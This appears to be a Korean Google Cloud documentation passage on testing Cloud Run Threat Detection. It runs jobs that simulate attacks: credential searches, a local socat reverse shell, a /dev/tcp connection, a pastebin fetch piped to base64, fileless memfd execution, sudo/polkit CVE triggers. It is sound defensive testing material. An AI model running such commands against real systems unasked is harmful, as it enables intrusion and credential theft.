Cloud Run Threat Detection 테스트

이 페이지에서는 의도적으로 감지기를 트리거하고 발견 사항을 확인하여 Cloud Run Threat Detection이 작동하는지 확인하는 방법을 설명합니다. Cloud Run Threat Detection은 Security Command Center의 기본 제공 서비스입니다.

시작하기 전에

Cloud Run 서비스 및 작업에 대한 잠재적 위협을 감지하려면 Security Command Center에서 Cloud Run Threat Detection 서비스가 사용 설정되어 있는지 확인하세요. 일부 감지기는 기본적으로 사용 중지되어 있습니다. 이러한 감지기를 테스트하려면 먼저 사용 설정해야 합니다.

환경 변수 설정하기

감지기를 테스트하려면 Google Cloud 콘솔과 Cloud Shell을 사용합니다. Cloud Shell에서 환경 변수를 설정하면 명령어를 보다 편리하게 실행할 수 있습니다. 이러한 변수를 사용하여 모든 감지기를 테스트합니다.

  1. 콘솔로 이동합니다.Google Cloud

    콘솔로 이동 Google Cloud

  2. 테스트에 사용할 Cloud Run 작업이 포함된 프로젝트를 선택합니다.

  3. Cloud Shell 활성화 를 클릭합니다.

  4. Cloud Shell에서 환경 변수를 설정합니다.

    1. 테스트 작업을 만들 프로젝트와 리전을 설정합니다.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

환경 변수를 설정한 후 감지기 테스트 안내를 계속 따를 수 있습니다.

명령 및 제어: 스테가노그래피 도구 감지됨

Command and Control: Steganography Tool Detected (미리보기) 발견 사항을 트리거하려면 컨테이너 내에서 스테가노그래피 도구와 유사한 파일 조작 기능을 가진 바이너리를 실행합니다. 이 예시에서는 /bin/ls를 복사하고 이름을 steghide로 바꿉니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Command and Control: Steganography Tool Detected 발견 사항을 만듭니다.

사용자 인증 정보 액세스: 사용자 인증 정보 찾기 Google Cloud

Credential Access: Find Google Cloud Credentials 발견 사항을 트리거하려면 컨테이너 내에서 파일 콘텐츠를 검색할 수 있는 바이너리를 실행합니다. 이 예시에서는 /bin/ls를 복사하고 이름을 grep으로 바꾼 후 의심스러운 인수와 함께 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: Find Google Cloud Credentials 발견 사항을 만듭니다.

사용자 인증 정보 액세스: GPG 키 정탐

Credential Access: GPG Key Reconnaissance 발견 사항을 트리거하려면 의심스러운 인수와 함께 검색 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: GPG Key Reconnaissance 발견 사항을 만듭니다.

사용자 인증 정보 액세스: 비공개 키 또는 비밀번호 검색

Credential Access: Search Private Keys or Passwords 발견 사항을 트리거하려면 의심스러운 인수와 함께 검색 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Credential Access: Search Private Keys or Passwords 발견 사항을 만듭니다.

방어 회피: Base64 ELF 파일 명령줄

Defense Evasion: Base64 ELF File Command Line 발견 사항을 트리거하려면 인코딩된 ELF 헤더 인수와 함께 base64를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 두 개의 Defense Evasion: Base64 ELF File Command Line 발견 사항을 만들어야 합니다.

방어 회피: base64로 인코딩된 Python 스크립트 실행됨

Defense Evasion: Base64 Encoded Python Script Executed 발견 사항을 트리거하려면 인코딩된 Python 명령어와 함께 echo를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Base64 Encoded Python Script Executed 발견 사항을 만듭니다.

방어 회피: Base64로 인코딩된 셸 스크립트 실행됨

Defense Evasion: Base64 Encoded Shell Script Executed 발견 사항을 트리거하려면 인코딩된 셸 명령어와 함께 echo를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Base64 Encoded Shell Script Executed 발견 사항을 만듭니다.

방어 회피: 컨테이너에서 코드 컴파일러 도구 실행

Defense Evasion: Launch Code Compiler Tool In Container (미리보기) 발견 사항을 트리거하려면 컴파일러 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Defense Evasion: Launch Code Compiler Tool In Container 발견 사항을 만듭니다.

실행: 추가된 악성 바이너리 실행됨

실행: 추가된 악성 바이너리 실행됨 발견 사항을 트리거하려면 컨테이너에 악성 바이너리 (EICAR)를 추가하고 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 추가된 악성 바이너리 실행됨 발견 사항을 만듭니다.

실행: 추가된 악성 라이브러리가 로드됨

실행: 추가된 악성 라이브러리가 로드됨 발견 사항을 트리거하려면 컨테이너에 악성 라이브러리를 추가하고 로드합니다. 이 예시에서는 시뮬레이션된 악성 라이브러리로 /tmp/test_mal_lib 파일을 업데이트한 후 mmap을 사용하여 로드합니다. 기존 파일의 라이브러리 로드는 예기치 않은 동작입니다. 파일이 원래 컨테이너 이미지에 없었고 라이브러리가 위협 인텔리전스에 의해 악성으로 분류된 EICAR 테스트 파일이기 때문입니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 추가된 악성 라이브러리가 로드됨 발견 사항을 만듭니다.

실행: 컨테이너 이스케이프

실행: 컨테이너 이스케이프 발견 사항을 트리거하려면 컨테이너 이스케이프 동작을 시뮬레이션하는 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 컨테이너 이스케이프 발견 사항을 만듭니다.

실행: /memfd:에서 파일 없는 실행

Execution: Fileless Execution in /memfd: 발견 사항을 트리거하려면 Python을 사용하여 /memfd: 인메모리 파일 시스템에서 프로세스를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Fileless Execution in /memfd: 발견 사항을 만듭니다.

실행: Kubernetes 공격 도구 실행

실행: Kubernetes 공격 도구 실행 발견 사항을 트리거하려면 알려진 공격 도구와 일치하는 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: Kubernetes 공격 도구 실행 발견 사항을 만듭니다.

실행: 로컬 정탐 도구 실행

Execution: Local Reconnaissance Tool Execution 발견 사항을 트리거하려면 정탐 도구와 일치하는 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 로컬 정탐 도구 실행 발견 사항을 만듭니다.

실행: 수정된 악성 바이너리 실행됨

실행: 수정된 악성 바이너리 실행됨 발견 사항을 트리거하려면 알려진 악성 서명 (EICAR)과 일치하도록 바이너리를 수정합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 수정된 악성 바이너리 실행됨 발견 사항을 만듭니다.

실행: 수정된 악성 라이브러리가 로드됨

실행: 수정된 악성 라이브러리가 로드됨 발견 사항을 트리거하려면 컨테이너에서 악성 라이브러리로 기존 파일을 수정하고 로드합니다. 이 예시에서는 시뮬레이션된 악성 라이브러리로 /etc/issue 파일을 업데이트한 후 mmap을 사용하여 로드합니다. 기존 파일의 라이브러리 로드는 예기치 않은 동작입니다. 라이브러리가 위협 인텔리전스에 의해 악성으로 분류된 EICAR 테스트 파일이기 때문입니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 수정된 악성 라이브러리가 로드됨 발견 사항을 만듭니다.

실행: 컨테이너에서 netcat 원격 코드 실행

Execution: Netcat Remote Code Execution In Container 이벤트를 트리거하려면 의심스러운 인수와 함께 netcat을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Netcat Remote Code Execution In Container 발견 사항을 만듭니다.

실행: CUPS를 통한 임의의 명령어 실행 가능성 (CVE-2024-47076)

Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 발견 사항을 트리거하려면 익스플로잇을 시뮬레이션하는 스크립트를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 발견 사항을 만듭니다.

실행: 원격 명령어 실행이 감지되었을 가능성 있음

Execution: Possible Remote Command Execution Detected (미리보기) 발견 사항을 트리거하려면 원격 연결을 시도하는 명령어를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Possible Remote Command Execution Detected 발견 사항을 만듭니다.

실행: 허용되지 않는 HTTP 프록시 환경을 사용한 프로그램 실행

Execution: Program Run with Disallowed HTTP Proxy Env 발견 사항을 트리거하려면 잘못된 프록시 환경 변수를 사용하여 프로그램을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Program Run with Disallowed HTTP Proxy Env 발견 사항을 만듭니다.

실행: Socat 리버스 셸 감지됨

Execution: Socat Reverse Shell Detected 발견 사항을 트리거하려면 리버스 셸을 사용하여 socat 유틸리티를 설정합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Socat Reverse Shell Detected 발견 사항을 만듭니다.

실행: 의심스러운 OpenSSL 공유 객체 로드됨

Execution: Suspicious OpenSSL Shared Object Loaded 발견 사항을 트리거하려면 의심스러운 라이브러리와 함께 openssl을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Execution: Suspicious OpenSSL Shared Object Loaded 발견 사항을 만듭니다.

무단 반출: 컨테이너에서 원격 파일 복사 도구 실행

Exfiltration: Launch Remote File Copy Tools In Container 발견 사항을 트리거하려면 원격 복사 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Exfiltration: Launch Remote File Copy Tools In Container 발견 사항을 만듭니다.

영향: 악의적인 명령줄 감지

Impact: Detect Malicious Cmdlines (미리보기) 발견 사항을 트리거하려면 의심스러운 명령어 이름 (IPFS)을 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Detect Malicious Cmdlines 발견 사항을 만듭니다.

영향: 디스크에서 대량 데이터 삭제

Impact: Remove Bulk Data From Disk 발견 사항을 트리거하려면 shred과 같은 도구를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Remove Bulk Data From Disk 발견 사항을 만듭니다.

영향: Stratum 프로토콜을 사용하는 의심스러운 암호화폐 채굴 활동

Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol 발견 사항을 트리거하려면 Stratum 프로토콜을 사용하여 통신하는 암호화폐 채굴 소프트웨어에서 사용되는 것과 비슷한 인수와 함께 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol 발견 사항을 만듭니다.

악성 스크립트가 실행됨

악성 스크립트 실행 발견 사항을 트리거하려면 악성 동작을 모방하는 스크립트를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 악성 스크립트 실행 발견 사항을 만듭니다.

악성 URL 모니터링됨

악성 URL 모니터링됨 발견 사항을 트리거하려면 바이너리를 실행하고 악성 URL을 인수로 제공합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 악성 URL 모니터링됨 발견 사항을 트리거합니다.

권한 에스컬레이션: 권한 에스컬레이션을 위한 Sudo 악용 (CVE-2019-14287)

Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 발견 사항을 트리거하려면 sudo 바이너리를 -u#-1 매개변수와 함께 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 발견 사항을 만듭니다.

권한 에스컬레이션: Sudo 잠재적 권한 에스컬레이션 (CVE-2021-3156)

Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 발견 사항을 트리거하려면 sudo 바이너리를 -s 매개변수와 ``로 끝나는 매개변수와 함께 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 발견 사항을 만듭니다.

권한 에스컬레이션: Polkit 로컬 권한 에스컬레이션 취약점 (CVE-2021-4034)

Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 발견 사항을 트리거하려면 루트가 아닌 사용자로 설정된 GCONV_PATH 환경 변수와 함께 pkexec 바이너리를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 발견 사항을 만듭니다.

역방향 셸

역방향 셸 발견 사항을 트리거하려면 TCP 연결 소켓으로의 stdin 리디렉션으로 바이너리를 시작합니다.

Cloud Run 작업을 만들고 실행합니다.

